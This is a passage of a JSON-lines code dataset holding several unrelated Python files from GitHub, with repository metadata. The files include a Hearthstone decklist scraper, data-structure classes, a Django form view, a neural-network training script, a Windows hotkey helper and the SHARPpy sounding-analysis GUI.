elect_query\n","repo_name":"forbesye/texasvotes","sub_path":"back-end/Election.py","file_name":"Election.py","file_ext":"py","file_size_in_byte":3681,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"30487555419","text":"#!/usr/bin/env python\n\nfrom __future__ import print_function\nimport os\nimport sys\nimport requests\nimport pprint\nfrom bs4 import BeautifulSoup\n\npp = pprint.PrettyPrinter(indent=4)\n\ndef get_cards_from_card_list(card_list):\n cards = dict()\n count = 0\n for x in card_list.find_all('span', class_=\"card-title\"):\n card = x.contents[0]\n count_span = x.parent.find_all('span', class_='card-count')\n if count_span:\n count = int(count_span[0].contents[0])\n else:\n count = 1\n #print(\"%s x %d\" % (card, count))\n cards[card] = count\n return cards\n\ndef url_to_decklist(url):\n sess = requests.session()\n r = sess.get(url)\n data = BeautifulSoup(r.content, \"html.parser\")\n #pp.pprint(data)\n card_list = data.find('div', class_=\"deck-list\")\n #print(card_list.prettify().encode('utf-8'))\n decklist = get_cards_from_card_list(card_list)\n return decklist\n\ndef print_decklist(decklist):\n for card, count in decklist.items():\n print(\"%s x %d\" % (card, count)) \n\nif __name__ == \"__main__\":\n #url = 'http://www.hearthstoneplayers.com/decks/aggro-paladin-2/'\n url = sys.argv[1].rstrip()\n decklist = url_to_decklist(url)\n #pp.pprint(decklist)\n print_decklist(decklist)\n","repo_name":"defhacks/hs","sub_path":"hsp.py","file_name":"hsp.py","file_ext":"py","file_size_in_byte":1267,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"41264206517","text":"from hashlib import new\n\n\nclass DynamicArray():\n def __init__(self) -> None:\n # actual number of elements in dynamic array\n self.size = 0\n # maximum capacity of the dynamic array\n self.capacity = 1\n self.array = self._create_array(self.capacity)\n\n def __len__(self):\n '''\n len(array): returns the length of the array\n '''\n return self.size\n\n def __getitem__(self, index):\n '''\n array[index]: returns the element at given index\n '''\n if not 0 < index < self.size:\n return IndexError('Given index : {0} is larger than array size {1}'.format(index, self.size))\n\n return self.array[index]\n\n def _create_array(self, length):\n '''\n create the array with given size\n '''\n return [None] * length\n\n def _resize(self, new_capacity):\n '''\n resize the array to the new capacity\n '''\n new_array = self._create_array(new_capacity)\n\n # reassign the elements in the old array into the new array\n for i in range(self.size):\n new_array[i] = self.array[i]\n\n self.array = new_array\n self.capacity = new_capacity\n\n def append(self, element):\n if self.size == self.capacity:\n self._resize(2 * self.capacity)\n\n self.array[self.size] = element\n self.size += 1\n\n def pop(self):\n element = None\n if self.size > 0:\n element = self.array[self.size - 1]\n self.array[self.size - 1] = None\n self.size -= 1\n\n if self.size <= self.capacity // 4:\n self._resize(self.capacity // 2)\n return element\n\n\nda = DynamicArray()\nda.append('a')\nda.append('2')\nda.append('r')\nprint(len(da))\n","repo_name":"sonyjames9/python","sub_path":"code-practice/arrays/dynamic_arrays_impl2.py","file_name":"dynamic_arrays_impl2.py","file_ext":"py","file_size_in_byte":1590,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"40854479094","text":"from typing import List\n\n\nclass Vertex:\n\n def __init__(self, val):\n self.val = val\n self.edges = set()\n\n def __str__(self):\n return f\"Vertex({self.val}) with edges {len(self.edges)}\"\n\n\nclass Ditex(Vertex): # Directed vertex\n\n def __init__(self, val):\n self.val = val\n self.in_edges = set()\n self.out_edges = set()\n\n @property\n def edges(self):\n return self.in_edges | self.out_edges\n\n def __str__(self):\n return f\"Ditex({self.val})(in:{len(self.in_edges)})(out:{len(self.out_edges)})\"\n\n\nclass BiNode:\n def __str__(self):\n return f\"({self.left if self.left else '_' }/{self.val}\\\\{self.right if self.right else '_'})\"\n\n def __init__(self, val, left=None, right=None):\n self.val = val\n self.left = left\n self.right = right\n\n\nclass BiPaNode(BiNode):\n\n def __init__(self, val, left=None, right=None):\n super().__init__(val, left=left, right=right)\n self.parent = None\n\n\ndef ltbt(arr: List[int]) -> BiNode:\n return list_to_binary_tree(arr)\n\n\ndef list_to_binary_tree(arr: List[int]) -> BiNode:\n nodes = [BiPaNode(arr[0])]\n for i in range(1, len(arr)):\n parent = nodes[(i - 1)//2]\n\n if not parent and arr[i]:\n raise Exception(f\"Cannot have children without parents to attach to,\"\n f\" for {arr[i]} on input {arr}\")\n\n if not arr[i]:\n nodes.append(None)\n else:\n node_now = BiPaNode(arr[i])\n node_now.parent = parent\n\n nodes.append(node_now)\n if (i-1) % 2:\n parent.right = node_now\n else:\n parent.left = node_now\n\n return nodes[0]\n\n\ndef get_node_by_val(root: BiNode, target):\n if not root:\n return None\n if root.val == target:\n return root\n else:\n return get_node_by_val(root.left, target) \\\n or get_node_by_val(root.right, target)\n","repo_name":"StBogdan/CTCI_python","sub_path":"utils/graphs.py","file_name":"graphs.py","file_ext":"py","file_size_in_byte":1962,"program_lang":"python","lang":"en","doc_type":"code","stars":317,"dataset":"github-code","pt":"75"} +{"seq_id":"33517259448","text":"from django.shortcuts import render\nfrom django.http import HttpResponse\nfrom .forms import EmployeeForm\nfrom .models import Employee\n\ndef djangoformview(request):\n if request.method == 'POST':\n form = EmployeeForm(request.POST)\n if form.is_valid():\n i= form.cleaned_data['eid']\n n= form.cleaned_data['ename']\n s = form.cleaned_data['esal']\n e = form.cleaned_data['eexp']\n emp = Employee(eid=i,ename=n, esal=s, eexp=e)\n emp.save()\n return HttpResponse(f'Data Inserted- {i}, {n}, {s}, {e}')\n else:\n return HttpResponse(\"

Invalid Forms

\")\n\n form = EmployeeForm()\n template_name='Fapp/djangoform.html'\n context = {'form': form}\n return render(request,template_name,context)\n\n\n","repo_name":"AmitShirbhate/FirstDemo","sub_path":"front2back/front2back/Fapp/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":806,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"6548494830","text":"\"\"\"\r\nThis file serves as a training interface for training the network\r\n\"\"\"\r\n# Built in\r\nimport glob\r\nimport os\r\nimport shutil\r\n\r\n# Torch\r\nimport torch\r\n# Own\r\nimport flag_reader\r\nfrom utils import data_reader\r\nfrom class_wrapper import Network\r\nfrom model_maker import INN\r\nfrom utils.helper_functions import put_param_into_folder, write_flags_and_BVE\r\n\r\ndef training_from_flag(flags):\r\n \"\"\"\r\n Training interface. 1. Read data 2. initialize network 3. train network 4. record flags\r\n :param flag: The training flags read from command line or parameter.py\r\n :return: None\r\n \"\"\"\r\n # Get the data\r\n train_loader, test_loader = data_reader.read_data(flags)\r\n print(\"Making network now\")\r\n\r\n # Make Network\r\n ntwk = Network(INN, flags, train_loader, test_loader, ckpt_dir=flags.ckpt_dir)\r\n\r\n print(\"number of trainable parameters is :\")\r\n pytorch_total_params = sum(p.numel() for p in ntwk.model.parameters() if p.requires_grad)\r\n print(pytorch_total_params)\r\n\r\n # Training process\r\n print(\"Start training now...\")\r\n ntwk.train()\r\n\r\n # Do the house keeping, write the parameters and put into folder, also use pickle to save the flags obejct\r\n write_flags_and_BVE(flags, ntwk.best_validation_loss, ntwk.ckpt_dir)\r\n # put_param_into_folder(ntwk.ckpt_dir)\r\n\r\n\r\ndef retrain_different_dataset(index):\r\n \"\"\"\r\n This function is to evaluate all different datasets in the model with one function call\r\n \"\"\"\r\n from utils.helper_functions import load_flags\r\n data_set_list = [\"Peurifoy\"]\r\n # data_set_list = [\"Chen\"]\r\n # data_set_list = [\"Yang\"]\r\n #data_set_list = [\"Peurifoy\",\"Chen\",\"Yang_sim\"]\r\n for eval_model in data_set_list:\r\n flags = load_flags(os.path.join(\"models\", eval_model+\"_best_model\"))\r\n flags.model_name = \"retrain\" + str(index) + eval_model\r\n flags.train_step = 500\r\n flags.test_ratio = 0.2\r\n training_from_flag(flags)\r\n\r\ndef hyperswipe():\r\n \"\"\"\r\n This is for doing hyperswiping for the model parameters\r\n \"\"\"\r\n dim_pad_list = [10]\r\n lambda_mse_list = [0.0001]#, 0.0001]\r\n dim_z_list = [3,5]\r\n for dim_z in dim_z_list:\r\n for dim_pad in dim_pad_list:\r\n for couple_layer_num in [12, 14, 16]:#range(10, 20): \r\n for lambda_mse in lambda_mse_list:\r\n flags = flag_reader.read_flag() \t#setting the base case\r\n flags.couple_layer_num = couple_layer_num\r\n flags.lambda_mse = lambda_mse\r\n flags.dim_z = dim_z\r\n flags.dim_tot = flags.dim_y + flags.dim_z + dim_pad\r\n #print(\"currently running flag\", flags)\r\n print(flags.data_set)\r\n flags.model_name = flags.data_set + '_mid_layer_1024_couple_layer_num' + str(couple_layer_num) + 'labmda_mse' + str(lambda_mse) + '_lr_' + str(flags.lr) + '_dim_pad_' + str(dim_pad) + '_dim_z_' + str(flags.dim_z)\r\n training_from_flag(flags)\r\n\r\nif __name__ == '__main__':\r\n # Read the parameters to be set\r\n #flags = flag_reader.read_flag()\r\n\r\n # Call the train from flag function\r\n #training_from_flag(flags)\r\n # hyperswipe()\r\n # Do the retraining for all the data set to get the training for reproducibility\r\n #for i in range(4, 5):\r\n #for i in range(5, 10):\r\n # retrain_different_dataset(i)\r\n retrain_different_dataset(8)\r\n","repo_name":"BensonRen/AEM_DIM_Bench","sub_path":"INN_FrEIA/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":3429,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"75"} +{"seq_id":"34155647484","text":"import ctypes\nimport ctypes.wintypes\nimport win32con\nimport logging\nfrom PySide2.QtCore import Qt, QTimer\n\n\nclass Hotkey(object):\n \"\"\" Class for register hot key. \"\"\"\n\n def __init__(self):\n object.__init__(self)\n\n self.hotkey_dict = {}\n\n def __del__(self):\n self.unregister_all()\n\n def register(self, hotkey_id, modifiers, key_code, callback):\n \"\"\" Register hot key.\n\n :param hotkey_id: [int] The unique id of the hot key.\n :param modifiers: [int] The modifiers of the hot key. (win32con.MOD_ALT | win32con.MOD_CONTROL | win32con.MOD_SHIFT | win32con.MOD_WIN)\n :param key_code: [int] The code of the hot key. (win32con.VK_*)\n :param callback: [function] The function called when the hot key is pressed.\n :return: [bool] Whether the hot key is successfully registered.\n \"\"\"\n\n if hotkey_id in self.hotkey_dict.keys():\n self.unregister(hotkey_id)\n\n ok = ctypes.windll.user32.RegisterHotKey(None, hotkey_id, modifiers, key_code)\n if not ok:\n logging.error(\"Failed to register hot key: hotkey_id={hotkey_id}, modifiers={modifiers}, key_code={key_code}.\".format(hotkey_id=hotkey_id, modifiers=modifiers, key_code=key_code))\n return False\n\n def check_message():\n msg = ctypes.wintypes.MSG()\n if ctypes.windll.user32.GetMessageA(ctypes.byref(msg), None, 0, 0):\n if msg.message == win32con.WM_HOTKEY:\n if msg.wParam == hotkey_id:\n callback()\n\n ctypes.windll.user32.TranslateMessage(ctypes.byref(msg))\n ctypes.windll.user32.DispatchMessageA(ctypes.byref(msg))\n\n timer = QTimer()\n timer.setInterval(100)\n timer.timeout.connect(check_message, type=Qt.QueuedConnection)\n timer.start()\n self.hotkey_dict[hotkey_id] = {\"modifiers\": modifiers, \"key_code\": key_code, \"callback\": callback, \"timer\": timer}\n logging.debug(\"Registered hot key: hotkey_id={hotkey_id}, modifiers={modifiers}, key_code={key_code}.\".format(hotkey_id=hotkey_id, modifiers=modifiers, key_code=key_code))\n\n return True\n\n def unregister(self, hotkey_id):\n \"\"\" Unregister hot key.\n\n :param hotkey_id: [int] The unique id of the hot key.\n :return: [bool] Whether the hot key is successfully unregistered.\n \"\"\"\n\n if hotkey_id not in self.hotkey_dict.keys():\n logging.error(\"Failed to unregister hot key: hotkey_id={hotkey_id}, because it is not in the hot key dictionary.\".format(hotkey_id=hotkey_id))\n return False\n\n hotkey = self.hotkey_dict[hotkey_id]\n modifiers = hotkey[\"modifiers\"]\n key_code = hotkey[\"key_code\"]\n timer = hotkey[\"timer\"]\n\n timer.cancel()\n\n ok = ctypes.windll.user32.UnregisterHotKey(None, hotkey_id)\n if not ok:\n logging.error(\"Failed to unregister hot key: hotkey_id={hotkey_id}, modifiers={modifiers}, key_code={key_code}.\".format(hotkey_id=hotkey_id, modifiers=modifiers, key_code=key_code))\n return False\n\n self.hotkey_dict.pop(hotkey_id)\n logging.debug(\"Unregistered hot key: hotkey_id={hotkey_id}, modifiers={modifiers}, key_code={key_code}.\".format(hotkey_id=hotkey_id, modifiers=modifiers, key_code=key_code))\n\n return True\n\n def unregister_all(self):\n \"\"\" Unregister all of the hot keys registered by this 'Hotkey' instance.\n\n :return: [bool] Whether all of the hot keys is successfully unregistered.\n \"\"\"\n\n ok = True\n for hotkey_id in self.hotkey_dict.keys():\n ok_ = self.unregister(hotkey_id)\n ok = ok and ok_\n\n return ok\n","repo_name":"JloveU/ScreenSnippingTool","sub_path":"hotkey.py","file_name":"hotkey.py","file_ext":"py","file_size_in_byte":3728,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"16817327728","text":"\n\nclass UnionFind:\n def __init__(self, n_nodes) -> None:\n # Link tells you the next element in the chain\n # Size tells you how big is a given set.\n self.link = []\n self.size = []\n for i in range(n_nodes):\n self.link[i] = i\n self.size[i] = 1\n def find(self, x):\n while(x != self.link[x]):\n x = self.link[x]\n return x\n\n def same(self, a, b):\n return self.find(a) == self.find(b)\n\n def union(self, a, b):\n # a and b must be in different sets\n # Here a is the larger set.\n # We are appending the smaller set to the larger set.\n a = self.find(a)\n b = self.find(b)\n if (self.size[a] < self.size[b]):\n c = a\n a = b\n b = c\n self.size[a] += self.size[b]\n self.link[b] = a\n \n","repo_name":"duyquangnguyenhac/CodingProblems","sub_path":"Graph/union_find_algo.py","file_name":"union_find_algo.py","file_ext":"py","file_size_in_byte":858,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"32506803842","text":"__author__ = 'keltonhalbert, wblumberg'\n\nfrom sharppy.viz import plotSkewT, plotHodo, plotText, plotAnalogues\nfrom sharppy.viz import plotThetae, plotWinds, plotSpeed, plotKinematics, plotGeneric\nfrom sharppy.viz import plotSlinky, plotWatch, plotAdvection, plotSTP, plotWinter\nfrom sharppy.viz import plotSHIP, plotSTPEF, plotFire, plotVROT\nfrom PySide.QtCore import *\nfrom PySide.QtGui import *\nimport sharppy.sharptab.profile as profile\nimport sharppy.sharptab as tab\nimport sharppy.io as io\nfrom datetime import datetime, timedelta\nimport numpy as np\nimport ConfigParser\nimport platform\nfrom os.path import expanduser\nimport os\nfrom sharppy.version import __version__, __version_name__\n\nclass SkewApp(QWidget):\n \"\"\"\n This will create the full SPC window, handle the organization\n of the insets, and handle all click/key events and features.\n \"\"\"\n\n inset_generators = {\n 'SARS':plotAnalogues,\n 'STP STATS':plotSTP,\n 'COND STP':plotSTPEF,\n 'WINTER':plotWinter,\n 'FIRE':plotFire,\n 'SHIP':plotSHIP,\n 'VROT':plotVROT,\n }\n\n inset_names = {\n 'SARS':'Sounding Analogues',\n 'STP STATS':'Sig-Tor Stats',\n 'COND STP':'EF-Scale Probs (Sig-Tor)',\n 'WINTER':'Winter Weather',\n 'FIRE':'Fire Weather',\n 'SHIP':'Sig-Hail Stats',\n 'VROT':'EF-Scale Probs (V-Rot)',\n }\n HOME_DIR = os.path.join(os.path.expanduser(\"~\"), \".sharppy\")\n cfg_file_name = os.path.join(HOME_DIR,'sharppy.ini')\n\n def __init__(self, profs, dates, model, **kwargs):\n\n super(SkewApp, self).__init__()\n \"\"\"\n \"\"\"\n ## these are the keyword arguments used to define what\n ## sort of profile is being viewed\n self.profs = profs\n self.proflist = []\n self.dates = dates\n self.model = model\n self.prof_idx = kwargs.get(\"idx\")\n self.run = kwargs.get(\"run\")\n self.loc = kwargs.get(\"location\")\n self.fhour = kwargs.get(\"fhour\", [ None ])\n self.dgz = False\n self.isensemble = type(self.profs[0]) == list # Is this an ensemble?\n self.plot_title = \"\"\n\n ## these are used to display profiles\n self.current_idx = 0\n self.prof = profs[self.current_idx]\n self.original_profs = self.profs[:]\n self.modified_skew = [ False for p in self.original_profs ]\n self.modified_hodo = [ False for p in self.original_profs ]\n self.parcel_type = \"MU\"\n\n self.config = ConfigParser.RawConfigParser()\n self.config.read(SkewApp.cfg_file_name)\n if not self.config.has_section('insets'):\n self.config.add_section('insets')\n self.config.set('insets', 'right_inset', 'STP STATS')\n self.config.set('insets', 'left_inset', 'SARS')\n if not self.config.has_section('parcel_types'):\n self.config.add_section('parcel_types')\n self.config.set('parcel_types', 'pcl1', 'SFC')\n self.config.set('parcel_types', 'pcl2', 'ML')\n self.config.set('parcel_types', 'pcl3', 'FCST')\n self.config.set('parcel_types', 'pcl4', 'MU')\n\n\n ## these are the boolean flags used throughout the program\n self.swap_inset = False\n\n ## initialize empty variables to hold objects that will be\n ## used later\n self.left_inset_ob = None\n self.right_inset_ob = None\n\n ## these are used for insets and inset swapping\n insets = sorted(SkewApp.inset_names.items(), key=lambda i: i[1])\n inset_ids, inset_names = zip(*insets)\n self.available_insets = inset_ids\n self.left_inset = self.config.get('insets', 'left_inset')\n self.right_inset = self.config.get('insets', 'right_inset')\n self.insets = {}\n\n self.parcel_types = [self.config.get('parcel_types', 'pcl1'), self.config.get('parcel_types', 'pcl2'), \\\n self.config.get('parcel_types', 'pcl3'),self.config.get('parcel_types', 'pcl4')]\n\n ## initialize the rest of the window attributes, layout managers, etc\n\n ## handle the attribute of the main window\n if platform.system() == 'Windows':\n self.setGeometry(10,30,1180,800)\n else:\n self.setGeometry(0, 0, 1180, 800)\n title = 'SHARPpy: Sounding and Hodograph Analysis and Research Program '\n title += 'in Python'\n self.setWindowTitle(title)\n self.setStyleSheet(\"QWidget {background-color: rgb(0, 0, 0);}\")\n ## set the the whole window's layout manager\n self.grid = QGridLayout()\n self.grid.setContentsMargins(1,1,1,1)\n self.grid.setHorizontalSpacing(0)\n self.grid.setVerticalSpacing(2)\n self.setLayout(self.grid)\n\n ## handle the upper right portion of the window...\n ## hodograph, SRWinds, Storm Slinky, theta-e all go in this frame\n self.urparent = QFrame()\n self.urparent_grid = QGridLayout()\n self.urparent_grid.setContentsMargins(0, 0, 0, 0)\n self.urparent.setLayout(self.urparent_grid)\n self.ur = QFrame()\n self.ur.setStyleSheet(\"QFrame {\"\n \" background-color: rgb(0, 0, 0);\"\n \" border-width: 0px;\"\n \" border-style: solid;\"\n \" border-color: rgb(255, 255, 255);\"\n \" margin: 0px;}\")\n\n self.brand = QLabel(\"SHARPpy Beta v%s %s\" % (__version__, __version_name__))\n self.brand.setAlignment(Qt.AlignRight)\n self.brand.setStyleSheet(\"QFrame {\"\n \" background-color: rgb(0, 0, 0);\"\n \" text-align: right;\"\n \" font-size: 11px;\"\n \" color: #FFFFFF;}\")\n\n ## this layout manager will handle the upper right portion of the window\n self.grid2 = QGridLayout()\n self.grid2.setHorizontalSpacing(0)\n self.grid2.setVerticalSpacing(0)\n self.grid2.setContentsMargins(0, 0, 0, 0)\n self.ur.setLayout(self.grid2)\n self.urparent_grid.addWidget(self.brand, 0, 0, 1, 0)\n self.urparent_grid.addWidget(self.ur, 1, 0, 50, 0)\n ## add the upper-right frame to the main frame\n self.grid.addWidget(self.urparent, 0, 1, 3, 1)\n\n ## Handle the Text Areas\n self.text = QFrame()\n self.text.setStyleSheet(\"QWidget {\"\n \" background-color: rgb(0, 0, 0);\"\n \" border-width: 2px;\"\n \" border-style: solid;\"\n \" border-color: #3399CC;}\")\n self.grid3 = QGridLayout()\n self.grid3.setHorizontalSpacing(0)\n self.grid3.setContentsMargins(0, 0, 0, 0)\n self.text.setLayout(self.grid3)\n\n ## set to menu stuff\n self.setUpdatesEnabled(True)\n self.setContextMenuPolicy(Qt.CustomContextMenu)\n self.customContextMenuRequested.connect(self.showCursorMenu)\n\n ## initialize the data frames\n self.initData()\n self.loadWidgets()\n\n\n def getParcelObj(self, prof, name):\n if name == \"SFC\":\n return prof.sfcpcl\n elif name == \"ML\":\n return prof.mlpcl\n elif name == \"FCST\":\n return prof.fcstpcl\n elif name == \"MU\":\n return prof.mupcl\n elif name == 'EFF':\n return prof.effpcl\n elif name == \"USER\":\n return prof.usrpcl\n\n def getParcelName(self, prof, pcl):\n if pcl == prof.sfcpcl:\n return \"SFC\"\n elif pcl == prof.mlpcl:\n return \"ML\"\n elif pcl == prof.fcstpcl:\n return \"FCST\"\n elif pcl == prof.mupcl:\n return \"MU\"\n elif pcl == prof.effpcl:\n return \"EFF\"\n elif pcl == prof.usrpcl:\n return \"USER\"\n\n def getPlotTitle(self):\n modified = self.modified_skew[self.current_idx] or self.modified_hodo[self.current_idx]\n modified_str = \"; Modified\" if modified else \"\"\n\n plot_title = self.loc + ' ' + datetime.strftime(self.dates[self.current_idx], \"%Y%m%d/%H%M\")\n if self.model == \"Archive\":\n plot_title += \" (User Selected\" + modified_str + \")\"\n elif self.fhour == [ 'F000' ]:\n plot_title += \" (Observed\" + modified_str + \")\"\n else:\n plot_title += \" (\" + self.run + \" \" + self.model + \" \" + self.fhour[self.current_idx] + modified_str + \")\"\n return plot_title\n\n def saveimage(self):\n self.home_path = expanduser('~')\n files_types = \"PNG (*.png)\"\n fileName, result = QFileDialog.getSaveFileName(self, \"Save Image\", self.home_path, files_types)\n if result:\n pixmap = QPixmap.grabWidget(self)\n pixmap.save(fileName, 'PNG', 100)\n\n def initData(self):\n \"\"\"\n Initializes all the widgets for the window.\n This gets initially called by __init__\n :return:\n \"\"\"\n\n ## set the plot title that will be displayed in the Skew frame.\n self.plot_title = self.getPlotTitle()\n\n if self.isensemble:\n self.prof = self.profs[self.current_idx][0]\n default_pcl = self.prof.mupcl\n self.sound = plotSkewT(self.prof, pcl=self.prof.mupcl, title=self.plot_title, brand=self.brand,\n proflist=self.profs[self.current_idx][:], dgz=self.dgz)\n self.hodo = plotHodo(self.prof.hght, self.prof.u, self.prof.v, prof=self.prof,\n proflist=self.profs[self.current_idx][:], parent=self)\n else:\n self.prof = self.profs[self.current_idx]\n default_pcl = self.prof.mupcl\n self.sound = plotSkewT(self.prof, pcl=default_pcl, title=self.plot_title, brand=self.brand,\n dgz=self.dgz, proflist=self.proflist)\n self.sound.updated.connect(self.updateProfs)\n self.sound.reset.connect(self.resetProf)\n self.hodo = plotHodo(self.prof.hght, self.prof.u, self.prof.v, prof=self.prof, parent=self,\n proflist=self.proflist)\n\n ## initialize the non-swappable insets\n self.speed_vs_height = plotSpeed( self.prof )\n\n self.inferred_temp_advection = plotAdvection(self.prof)\n\n\n\n self.hodo.updated.connect(self.updateProfs)\n self.hodo.reset.connect(self.resetProf)\n\n self.storm_slinky = plotSlinky(self.prof, pcl=default_pcl)\n self.thetae_vs_pressure = plotGeneric(self.prof.thetae[self.prof.pres > 500.],\n self.prof.pres[self.prof.pres > 500.], xticks=np.arange(220,360,10),\n yticks=np.arange(500, 1000, 100), title=\"ThetaE v.\\nPres\" )\n\n self.srwinds_vs_height = plotWinds(self.prof)\n self.watch_type = plotWatch(self.prof)\n self.convective = plotText(self.prof, self.parcel_types)\n self.kinematic = plotKinematics(self.prof)\n\n self.convective.updatepcl.connect(self.updateParcel)\n\n self.makeInsets()\n self.insets[\"SARS\"].updatematch.connect(self.updateSARS)\n self.right_inset_ob = self.insets[self.right_inset]\n self.left_inset_ob = self.insets[self.left_inset]\n\n def makeInsets(self):\n \"\"\"\n Create the swappable insets\n :return:\n \"\"\"\n\n for inset, inset_gen in SkewApp.inset_generators.iteritems():\n self.insets[inset] = inset_gen(self.prof)\n\n\n @Slot(profile.Profile, str, bool) # Note to myself...could add an additional argument to allow emit to change pcl types to be shown.\n def updateProfs(self, prof, panel, modified):\n if panel == 'skew':\n self.modified_skew[self.current_idx] = modified\n elif panel == 'hodo':\n self.modified_hodo[self.current_idx] = modified\n\n self.plot_title = self.getPlotTitle()\n if self.isensemble:\n self.profs[self.current_idx][0] = prof[0]\n self.prof = self.profs[self.current_idx][0]\n self.sound.setProf(self.prof, pcl=self.getParcelObj(self.prof, self.parcel_type), title=self.plot_title,\n brand=self.brand, proflist=self.profs[self.current_idx][:], dgz=self.dgz)\n self.hodo.setProf(self.prof.hght, self.prof.u, self.prof.v, prof=self.prof,\n proflist=self.profs[self.current_idx][:], parent=self)\n else:\n self.profs[self.current_idx] = prof\n self.prof = self.profs[self.current_idx]\n self.sound.setProf(self.prof, pcl=self.getParcelObj(self.prof, self.parcel_type), title=self.plot_title,\n brand=self.brand, dgz=self.dgz, proflist=self.proflist)\n self.hodo.setProf(self.prof.hght, self.prof.u, self.prof.v, prof=self.prof,\n proflist=self.proflist, parent=self)\n\n self.storm_slinky.setProf(self.prof, self.getParcelObj(self.prof, self.parcel_type))\n\n self.inferred_temp_advection.setProf(self.prof)\n\n self.speed_vs_height.setProf(self.prof)\n\n self.srwinds_vs_height.setProf(self.prof)\n\n self.thetae_vs_pressure.setProf(self.prof.thetae[self.prof.pres > 500.],\n self.prof.pres[self.prof.pres > 500.], xticks=np.arange(220,360,10),\n yticks=np.arange(500, 1000, 100), title=\"ThetaE v.\\nPres\" )\n\n self.watch_type.setProf(self.prof)\n\n self.convective.setProf(self.prof, self.convective.pcl_types)\n self.kinematic.setProf(self.prof)\n\n\n\n for inset in self.insets.keys():\n self.insets[inset].setProf(self.prof)\n\n @Slot(str)\n def resetProf(self, panel):\n current = self.profs[self.current_idx]\n orig = self.original_profs[self.current_idx]\n self.proflist = []\n\n if panel == 'hodo':\n kwargs = {'u':orig.u, 'v':orig.v}\n elif panel == 'skew':\n kwargs = {'tmpc':orig.tmpc, 'dwpc':orig.dwpc}\n\n self.profs[self.current_idx] = type(current).copy(current, **kwargs)\n\n self.updateProfs(self.profs[self.current_idx], panel, modified=False) #, pcl=self.getParcelObj(self.profs[self.current_idx], self.parcel_type))\n self.setFocus()\n\n @Slot(tab.params.Parcel)\n def updateParcel(self, pcl):\n modified_str = \"\"\n self.parcel_type = self.getParcelName(self.prof, pcl)\n\n self.plot_title = self.getPlotTitle()\n if self.isensemble:\n self.sound.setProf(self.prof, pcl=self.prof.mupcl, title=self.plot_title, brand=self.brand,\n proflist=self.profs[self.current_idx][:], dgz=self.dgz)\n else:\n self.sound.setProf(self.prof, pcl=pcl, title=self.plot_title, brand=self.brand,\n dgz=self.dgz, proflist=self.proflist)\n\n self.storm_slinky.setProf(self.prof, pcl=pcl)\n\n self.config.set('parcel_types', 'pcl1', self.convective.pcl_types[0])\n self.config.set('parcel_types', 'pcl2', self.convective.pcl_types[1])\n self.config.set('parcel_types', 'pcl3', self.convective.pcl_types[2])\n self.config.set('parcel_types', 'pcl4', self.convective.pcl_types[3])\n\n @Slot(str)\n def updateSARS(self, filematch):\n if not self.isensemble:\n self.proflist = []\n# data = io.spc_decoder.SNDFile(filematch)\n# matchprof = tab.profile.create_profile(pres=data.pres, hght=data.hght,\n# tmpc=data.tmpc, dwpc=data.dwpc,\n# wspd=data.wspd, wdir=data.wdir,\n# profile=\"convective\")\n\n if filematch != \"\":\n dec = io.spc_decoder.SPCDecoder(filematch)\n matchprof = dec.getProfiles()[0]\n\n self.proflist.append(matchprof)\n\n self.sound.setProf(self.prof, pcl=self.getParcelObj(self.prof, self.parcel_type), title=self.plot_title,\n brand=self.brand, dgz=self.dgz, proflist=self.proflist)\n self.hodo.setProf(self.prof.hght, self.prof.u, self.prof.v, prof=self.prof, parent=self,\n proflist=self.proflist)\n\n def loadWidgets(self):\n ## add the upper-right window insets\n self.grid2.addWidget(self.speed_vs_height, 0, 0, 11, 3)\n self.grid2.addWidget(self.inferred_temp_advection, 0, 3, 11, 2)\n self.grid2.addWidget(self.hodo, 0, 5, 8, 24)\n self.grid2.addWidget(self.storm_slinky, 8, 5, 3, 6)\n self.grid2.addWidget(self.thetae_vs_pressure, 8, 11, 3, 6)\n self.grid2.addWidget(self.srwinds_vs_height, 8, 17, 3, 6)\n self.grid2.addWidget(self.watch_type, 8, 23, 3, 6)\n\n # Draw the kinematic and convective insets\n self.grid3.addWidget(self.convective, 0, 0)\n self.grid3.addWidget(self.kinematic, 0, 1)\n\n # Set Left Inset\n self.grid3.addWidget(self.left_inset_ob, 0, 2)\n\n # Set Right Inset\n self.grid3.addWidget(self.right_inset_ob, 0, 3)\n\n ## do a check for setting the dendretic growth zone\n if self.left_inset == \"WINTER\" or self.right_inset == \"WINTER\":\n self.sound.setDGZ(True)\n self.dgz = True\n\n self.grid.addWidget(self.sound, 0, 0, 3, 1)\n self.grid.addWidget(self.text, 3, 0, 1, 2)\n\n def keyPressEvent(self, e):\n key = e.key()\n length = len(self.profs)\n if key == Qt.Key_Right:\n if self.current_idx != length - 1:\n self.current_idx += 1\n else:\n self.current_idx = 0\n self.parcel_types = self.convective.pcl_types\n self.updateProfs(self.profs[self.current_idx], 'none', False)\n self.updateSARS(\"\")\n self.insets['SARS'].clearSelection()\n return\n\n if key == Qt.Key_Left:\n if self.current_idx != 0:\n self.current_idx -= 1\n elif self.current_idx == 0:\n self.current_idx = length -1\n self.parcel_types = self.convective.pcl_types\n self.updateProfs(self.profs[self.current_idx], 'none', False)\n self.updateSARS(\"\")\n self.insets['SARS'].clearSelection()\n return\n\n if e.matches(QKeySequence.Save):\n # Save an image\n self.saveimage()\n return\n\n def closeEvent(self, e):\n self.config.write(open(SkewApp.cfg_file_name, 'w'))\n self.sound.closeEvent(e)\n\n def makeInsetMenu(self, *exclude):\n\n # This will make the menu of the available insets.\n self.popupmenu=QMenu(\"Inset Menu\")\n self.menu_ag = QActionGroup(self, exclusive=True)\n\n for inset in self.available_insets:\n if inset not in exclude:\n inset_action = QAction(self)\n inset_action.setText(SkewApp.inset_names[inset])\n inset_action.setData(inset)\n inset_action.setCheckable(True)\n inset_action.triggered.connect(self.swapInset)\n a = self.menu_ag.addAction(inset_action)\n 